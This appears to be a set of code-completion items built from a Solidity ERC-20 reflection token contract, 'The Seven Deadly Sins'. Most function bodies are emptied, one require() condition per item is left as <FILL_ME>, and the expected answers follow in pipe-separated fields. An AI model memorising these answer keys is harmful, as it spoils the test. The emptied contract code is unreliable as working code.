function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract TheSevenDeadlySins is IERC20, Ownable {
using Address for address;
using SafeMath for uint256;
IRouter public uniswapV2Router;
address public immutable uniswapV2Pair;
string private constant _name = "The Seven Deadly Sins";
string private constant _symbol = "SDS";
uint8 private constant _decimals = 18;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 7000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
bool public isTradingEnabled;
// max wallet is 1.0% of initialSupply
uint256 public maxWalletAmount = _tTotal * 100 / 10000;
// max tx is 0.33% of initialSupply
uint256 public maxTxAmount = _tTotal * 100 / 100000;
bool private _swapping;
// max wallet is 0.025% of initialSupply
uint256 public minimumTokensBeforeSwap = _tTotal * 100 / 1000000;
address private dead = 0x000000000000000000000000000000000000dEaD;
address public liquidityWallet;
address public marketingWallet;
address public buyBackWallet;
address public devWallet;
struct CustomTaxPeriod {
bytes23 periodName;
uint8 blocksInPeriod;
uint256 timeInPeriod;
uint8 liquidityFeeOnBuy;
uint8 liquidityFeeOnSell;
uint8 marketingFeeOnBuy;
uint8 marketingFeeOnSell;
uint8 devFeeOnBuy;
uint8 devFeeOnSell;
uint8 buyBackFeeOnBuy;
uint8 buyBackFeeOnSell;
uint8 holdersFeeOnBuy;
uint8 holdersFeeOnSell;
}
// Base taxes
CustomTaxPeriod private _base = CustomTaxPeriod('base',0,0,0,0,0,0,0,0,0,0,0,0);
uint256 private constant _blockedTimeLimit = 259200;
uint256 private _launchBlockNumber;
uint256 private _launchTimestamp;
mapping (address => bool) private _isBlocked;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcludedFromMaxWalletLimit;
mapping (address => bool) private _isExcludedFromMaxTransactionLimit;
mapping (address => bool) public automatedMarketMakerPairs;
mapping (address => bool) private _isExcludedFromDividends;
mapping (address => bool) private _isAllowedToTradeWhenDisabled;
address[] private _excludedFromDividends;
uint8 private _liquidityFee;
uint8 private _marketingFee;
uint8 private _devFee;
uint8 private _buyBackFee;
uint8 private _holdersFee;
uint8 private _totalFee;
event AutomatedMarketMakerPairChange(address indexed pair, bool indexed value);
event AllowedWhenTradingDisabledChange(address indexed account, bool isExcluded);
event BlockedAccountChange(address indexed holder, bool indexed status);
event UniswapV2RouterChange(address indexed newAddress, address indexed oldAddress);
event WalletChange(string indexed indentifier, address indexed newWallet, address indexed oldWallet);
event FeeChange(string indexed identifier, uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee);
event CustomTaxPeriodChange(uint256 indexed newValue, uint256 indexed oldValue, string indexed taxType, bytes23 period);
event MaxWalletAmountChange(uint256 indexed newValue, uint256 indexed oldValue);
event MaxTransactionAmountChange(uint256 indexed newValue, uint256 indexed oldValue);
event ExcludeFromDividendsChange(address indexed account, bool isExcluded);
event ExcludeFromFeesChange(address indexed account, bool isExcluded);
event ExcludeFromMaxTransferChange(address indexed account, bool isExcluded);
event ExcludeFromMaxWalletChange(address indexed account, bool isExcluded);
event MinTokenAmountBeforeSwapChange(uint256 indexed newValue, uint256 indexed oldValue);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived,uint256 tokensIntoLiqudity);
event ClaimETHOverflow(uint256 amount);
event FeesApplied(uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee, uint8 totalFee);
constructor() {
}
receive() external payable {}
// Setters
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
}
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
}
function _approve(address owner,address spender,uint256 amount) private {
}
function activateTrading() external onlyOwner {
}
function deactivateTrading() external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function blockAccount(address account) external onlyOwner {
require(!_isBlocked[account], "Seven Deadly Sins: Account is already blocked");
require(<FILL_ME>)
_isBlocked[account] = true;
emit BlockedAccountChange(account, true);
}
function unblockAccount(address account) external onlyOwner {
}
function allowTradingWhenDisabled(address account, bool allowed) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) external onlyOwner {
}
function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner {
}
function excludeFromMaxTransactionLimit(address account, bool excluded) external onlyOwner {
}
function setWallets(address newLiquidityWallet, address newMarketingWallet, address newDevWallet, address newBuyBackWallet) external onlyOwner {
}
// Base fees
function setBaseFeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
}
function setBaseFeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner {
}
function setMaxWalletAmount(uint256 newValue) external onlyOwner {
}
function setMaxTransactionAmount(uint256 newValue) external onlyOwner {
}
function excludeFromDividends(address account, bool excluded) public onlyOwner {
}
function setMinimumTokensBeforeSwap(uint256 newValue) external onlyOwner {
}
function claimETHOverflow() external onlyOwner {
}
// Getters
function name() external pure returns (string memory) {
}
function symbol() external pure returns (string memory) {
}
function decimals() external view virtual returns (uint8) {
}
function totalSupply() external pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function totalFees() external view returns (uint256) {
}
function allowance(address owner, address spender) external view override returns (uint256) {
}
function getBaseBuyFees() external view returns (uint8, uint8, uint8, uint8, uint8){
}
function getBaseSellFees() external view returns (uint8, uint8, uint8, uint8, uint8){
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) {
}
// Main
function _transfer(
address from,
address to,
uint256 amount
) internal {
}
function _tokenTransfer(address sender,address recipient, uint256 tAmount, bool takeFee) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (uint256,uint256,uint256){
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tOther,
uint256 currentRate
) private pure returns ( uint256, uint256, uint256, uint256) {
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function _takeContractFees(uint256 rOther, uint256 tOther) private {
}
function _adjustTaxes(bool isBuyFromLp, bool isSelltoLp) private {
}
function _setCustomSellTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnSell,
uint8 _marketingFeeOnSell,
uint8 _devFeeOnSell,
uint8 _buyBackFeeOnSell,
uint8 _holdersFeeOnSell
) private {
}
function _setCustomBuyTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnBuy,
uint8 _marketingFeeOnBuy,
uint8 _devFeeOnBuy,
uint8 _buyBackFeeOnBuy,
uint8 _holdersFeeOnBuy
) private {
}
function _swapAndLiquify() private {
}
function _swapTokensForETH(uint256 tokenAmount) private {
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
}
| (block.timestamp-_launchTimestamp)<_blockedTimeLimit,"Seven Deadly Sins: Time to block accounts has expired" | 244,821 | (block.timestamp-_launchTimestamp)<_blockedTimeLimit |
"Seven Deadly Sins: Account is already the value of 'excluded'" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract TheSevenDeadlySins is IERC20, Ownable {
using Address for address;
using SafeMath for uint256;
IRouter public uniswapV2Router;
address public immutable uniswapV2Pair;
string private constant _name = "The Seven Deadly Sins";
string private constant _symbol = "SDS";
uint8 private constant _decimals = 18;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 7000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
bool public isTradingEnabled;
// max wallet is 1.0% of initialSupply
uint256 public maxWalletAmount = _tTotal * 100 / 10000;
// max tx is 0.33% of initialSupply
uint256 public maxTxAmount = _tTotal * 100 / 100000;
bool private _swapping;
// max wallet is 0.025% of initialSupply
uint256 public minimumTokensBeforeSwap = _tTotal * 100 / 1000000;
address private dead = 0x000000000000000000000000000000000000dEaD;
address public liquidityWallet;
address public marketingWallet;
address public buyBackWallet;
address public devWallet;
struct CustomTaxPeriod {
bytes23 periodName;
uint8 blocksInPeriod;
uint256 timeInPeriod;
uint8 liquidityFeeOnBuy;
uint8 liquidityFeeOnSell;
uint8 marketingFeeOnBuy;
uint8 marketingFeeOnSell;
uint8 devFeeOnBuy;
uint8 devFeeOnSell;
uint8 buyBackFeeOnBuy;
uint8 buyBackFeeOnSell;
uint8 holdersFeeOnBuy;
uint8 holdersFeeOnSell;
}
// Base taxes
CustomTaxPeriod private _base = CustomTaxPeriod('base',0,0,0,0,0,0,0,0,0,0,0,0);
uint256 private constant _blockedTimeLimit = 259200;
uint256 private _launchBlockNumber;
uint256 private _launchTimestamp;
mapping (address => bool) private _isBlocked;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcludedFromMaxWalletLimit;
mapping (address => bool) private _isExcludedFromMaxTransactionLimit;
mapping (address => bool) public automatedMarketMakerPairs;
mapping (address => bool) private _isExcludedFromDividends;
mapping (address => bool) private _isAllowedToTradeWhenDisabled;
address[] private _excludedFromDividends;
uint8 private _liquidityFee;
uint8 private _marketingFee;
uint8 private _devFee;
uint8 private _buyBackFee;
uint8 private _holdersFee;
uint8 private _totalFee;
event AutomatedMarketMakerPairChange(address indexed pair, bool indexed value);
event AllowedWhenTradingDisabledChange(address indexed account, bool isExcluded);
event BlockedAccountChange(address indexed holder, bool indexed status);
event UniswapV2RouterChange(address indexed newAddress, address indexed oldAddress);
event WalletChange(string indexed indentifier, address indexed newWallet, address indexed oldWallet);
event FeeChange(string indexed identifier, uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee);
event CustomTaxPeriodChange(uint256 indexed newValue, uint256 indexed oldValue, string indexed taxType, bytes23 period);
event MaxWalletAmountChange(uint256 indexed newValue, uint256 indexed oldValue);
event MaxTransactionAmountChange(uint256 indexed newValue, uint256 indexed oldValue);
event ExcludeFromDividendsChange(address indexed account, bool isExcluded);
event ExcludeFromFeesChange(address indexed account, bool isExcluded);
event ExcludeFromMaxTransferChange(address indexed account, bool isExcluded);
event ExcludeFromMaxWalletChange(address indexed account, bool isExcluded);
event MinTokenAmountBeforeSwapChange(uint256 indexed newValue, uint256 indexed oldValue);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived,uint256 tokensIntoLiqudity);
event ClaimETHOverflow(uint256 amount);
event FeesApplied(uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee, uint8 totalFee);
constructor() {
}
receive() external payable {}
// Setters
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
}
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
}
function _approve(address owner,address spender,uint256 amount) private {
}
function activateTrading() external onlyOwner {
}
function deactivateTrading() external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function blockAccount(address account) external onlyOwner {
}
function unblockAccount(address account) external onlyOwner {
}
function allowTradingWhenDisabled(address account, bool allowed) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) external onlyOwner {
}
function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner {
}
function excludeFromMaxTransactionLimit(address account, bool excluded) external onlyOwner {
require(<FILL_ME>)
_isExcludedFromMaxTransactionLimit[account] = excluded;
emit ExcludeFromMaxTransferChange(account, excluded);
}
function setWallets(address newLiquidityWallet, address newMarketingWallet, address newDevWallet, address newBuyBackWallet) external onlyOwner {
}
// Base fees
function setBaseFeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
}
function setBaseFeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner {
}
function setMaxWalletAmount(uint256 newValue) external onlyOwner {
}
function setMaxTransactionAmount(uint256 newValue) external onlyOwner {
}
function excludeFromDividends(address account, bool excluded) public onlyOwner {
}
function setMinimumTokensBeforeSwap(uint256 newValue) external onlyOwner {
}
function claimETHOverflow() external onlyOwner {
}
// Getters
function name() external pure returns (string memory) {
}
function symbol() external pure returns (string memory) {
}
function decimals() external view virtual returns (uint8) {
}
function totalSupply() external pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function totalFees() external view returns (uint256) {
}
function allowance(address owner, address spender) external view override returns (uint256) {
}
function getBaseBuyFees() external view returns (uint8, uint8, uint8, uint8, uint8){
}
function getBaseSellFees() external view returns (uint8, uint8, uint8, uint8, uint8){
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) {
}
// Main
function _transfer(
address from,
address to,
uint256 amount
) internal {
}
function _tokenTransfer(address sender,address recipient, uint256 tAmount, bool takeFee) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (uint256,uint256,uint256){
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tOther,
uint256 currentRate
) private pure returns ( uint256, uint256, uint256, uint256) {
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function _takeContractFees(uint256 rOther, uint256 tOther) private {
}
function _adjustTaxes(bool isBuyFromLp, bool isSelltoLp) private {
}
function _setCustomSellTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnSell,
uint8 _marketingFeeOnSell,
uint8 _devFeeOnSell,
uint8 _buyBackFeeOnSell,
uint8 _holdersFeeOnSell
) private {
}
function _setCustomBuyTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnBuy,
uint8 _marketingFeeOnBuy,
uint8 _devFeeOnBuy,
uint8 _buyBackFeeOnBuy,
uint8 _holdersFeeOnBuy
) private {
}
function _swapAndLiquify() private {
}
function _swapTokensForETH(uint256 tokenAmount) private {
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
}
| _isExcludedFromMaxTransactionLimit[account]!=excluded,"Seven Deadly Sins: Account is already the value of 'excluded'" | 244,821 | _isExcludedFromMaxTransactionLimit[account]!=excluded |
"Seven Deadly Sins: Account is already the value of 'excluded'" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract TheSevenDeadlySins is IERC20, Ownable {
using Address for address;
using SafeMath for uint256;
IRouter public uniswapV2Router;
address public immutable uniswapV2Pair;
string private constant _name = "The Seven Deadly Sins";
string private constant _symbol = "SDS";
uint8 private constant _decimals = 18;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 7000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
bool public isTradingEnabled;
// max wallet is 1.0% of initialSupply
uint256 public maxWalletAmount = _tTotal * 100 / 10000;
// max tx is 0.33% of initialSupply
uint256 public maxTxAmount = _tTotal * 100 / 100000;
bool private _swapping;
// max wallet is 0.025% of initialSupply
uint256 public minimumTokensBeforeSwap = _tTotal * 100 / 1000000;
address private dead = 0x000000000000000000000000000000000000dEaD;
address public liquidityWallet;
address public marketingWallet;
address public buyBackWallet;
address public devWallet;
struct CustomTaxPeriod {
bytes23 periodName;
uint8 blocksInPeriod;
uint256 timeInPeriod;
uint8 liquidityFeeOnBuy;
uint8 liquidityFeeOnSell;
uint8 marketingFeeOnBuy;
uint8 marketingFeeOnSell;
uint8 devFeeOnBuy;
uint8 devFeeOnSell;
uint8 buyBackFeeOnBuy;
uint8 buyBackFeeOnSell;
uint8 holdersFeeOnBuy;
uint8 holdersFeeOnSell;
}
// Base taxes
CustomTaxPeriod private _base = CustomTaxPeriod('base',0,0,0,0,0,0,0,0,0,0,0,0);
uint256 private constant _blockedTimeLimit = 259200;
uint256 private _launchBlockNumber;
uint256 private _launchTimestamp;
mapping (address => bool) private _isBlocked;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcludedFromMaxWalletLimit;
mapping (address => bool) private _isExcludedFromMaxTransactionLimit;
mapping (address => bool) public automatedMarketMakerPairs;
mapping (address => bool) private _isExcludedFromDividends;
mapping (address => bool) private _isAllowedToTradeWhenDisabled;
address[] private _excludedFromDividends;
uint8 private _liquidityFee;
uint8 private _marketingFee;
uint8 private _devFee;
uint8 private _buyBackFee;
uint8 private _holdersFee;
uint8 private _totalFee;
event AutomatedMarketMakerPairChange(address indexed pair, bool indexed value);
event AllowedWhenTradingDisabledChange(address indexed account, bool isExcluded);
event BlockedAccountChange(address indexed holder, bool indexed status);
event UniswapV2RouterChange(address indexed newAddress, address indexed oldAddress);
event WalletChange(string indexed indentifier, address indexed newWallet, address indexed oldWallet);
event FeeChange(string indexed identifier, uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee);
event CustomTaxPeriodChange(uint256 indexed newValue, uint256 indexed oldValue, string indexed taxType, bytes23 period);
event MaxWalletAmountChange(uint256 indexed newValue, uint256 indexed oldValue);
event MaxTransactionAmountChange(uint256 indexed newValue, uint256 indexed oldValue);
event ExcludeFromDividendsChange(address indexed account, bool isExcluded);
event ExcludeFromFeesChange(address indexed account, bool isExcluded);
event ExcludeFromMaxTransferChange(address indexed account, bool isExcluded);
event ExcludeFromMaxWalletChange(address indexed account, bool isExcluded);
event MinTokenAmountBeforeSwapChange(uint256 indexed newValue, uint256 indexed oldValue);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived,uint256 tokensIntoLiqudity);
event ClaimETHOverflow(uint256 amount);
event FeesApplied(uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee, uint8 totalFee);
constructor() {
}
receive() external payable {}
// Setters
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
}
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
}
function _approve(address owner,address spender,uint256 amount) private {
}
function activateTrading() external onlyOwner {
}
function deactivateTrading() external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function blockAccount(address account) external onlyOwner {
}
function unblockAccount(address account) external onlyOwner {
}
function allowTradingWhenDisabled(address account, bool allowed) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) external onlyOwner {
}
function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner {
}
function excludeFromMaxTransactionLimit(address account, bool excluded) external onlyOwner {
}
function setWallets(address newLiquidityWallet, address newMarketingWallet, address newDevWallet, address newBuyBackWallet) external onlyOwner {
}
// Base fees
function setBaseFeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
}
function setBaseFeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner {
}
function setMaxWalletAmount(uint256 newValue) external onlyOwner {
}
function setMaxTransactionAmount(uint256 newValue) external onlyOwner {
}
function excludeFromDividends(address account, bool excluded) public onlyOwner {
require(<FILL_ME>)
if(excluded) {
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedFromDividends[account] = excluded;
_excludedFromDividends.push(account);
} else {
for (uint256 i = 0; i < _excludedFromDividends.length; i++) {
if (_excludedFromDividends[i] == account) {
_excludedFromDividends[i] = _excludedFromDividends[_excludedFromDividends.length - 1];
_tOwned[account] = 0;
_isExcludedFromDividends[account] = false;
_excludedFromDividends.pop();
break;
}
}
}
emit ExcludeFromDividendsChange(account, excluded);
}
function setMinimumTokensBeforeSwap(uint256 newValue) external onlyOwner {
}
function claimETHOverflow() external onlyOwner {
}
// Getters
function name() external pure returns (string memory) {
}
function symbol() external pure returns (string memory) {
}
function decimals() external view virtual returns (uint8) {
}
function totalSupply() external pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function totalFees() external view returns (uint256) {
}
function allowance(address owner, address spender) external view override returns (uint256) {
}
function getBaseBuyFees() external view returns (uint8, uint8, uint8, uint8, uint8){
}
function getBaseSellFees() external view returns (uint8, uint8, uint8, uint8, uint8){
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) {
}
// Main
function _transfer(
address from,
address to,
uint256 amount
) internal {
}
function _tokenTransfer(address sender,address recipient, uint256 tAmount, bool takeFee) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (uint256,uint256,uint256){
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tOther,
uint256 currentRate
) private pure returns ( uint256, uint256, uint256, uint256) {
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function _takeContractFees(uint256 rOther, uint256 tOther) private {
}
function _adjustTaxes(bool isBuyFromLp, bool isSelltoLp) private {
}
function _setCustomSellTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnSell,
uint8 _marketingFeeOnSell,
uint8 _devFeeOnSell,
uint8 _buyBackFeeOnSell,
uint8 _holdersFeeOnSell
) private {
}
function _setCustomBuyTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnBuy,
uint8 _marketingFeeOnBuy,
uint8 _devFeeOnBuy,
uint8 _buyBackFeeOnBuy,
uint8 _holdersFeeOnBuy
) private {
}
function _swapAndLiquify() private {
}
function _swapTokensForETH(uint256 tokenAmount) private {
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
}
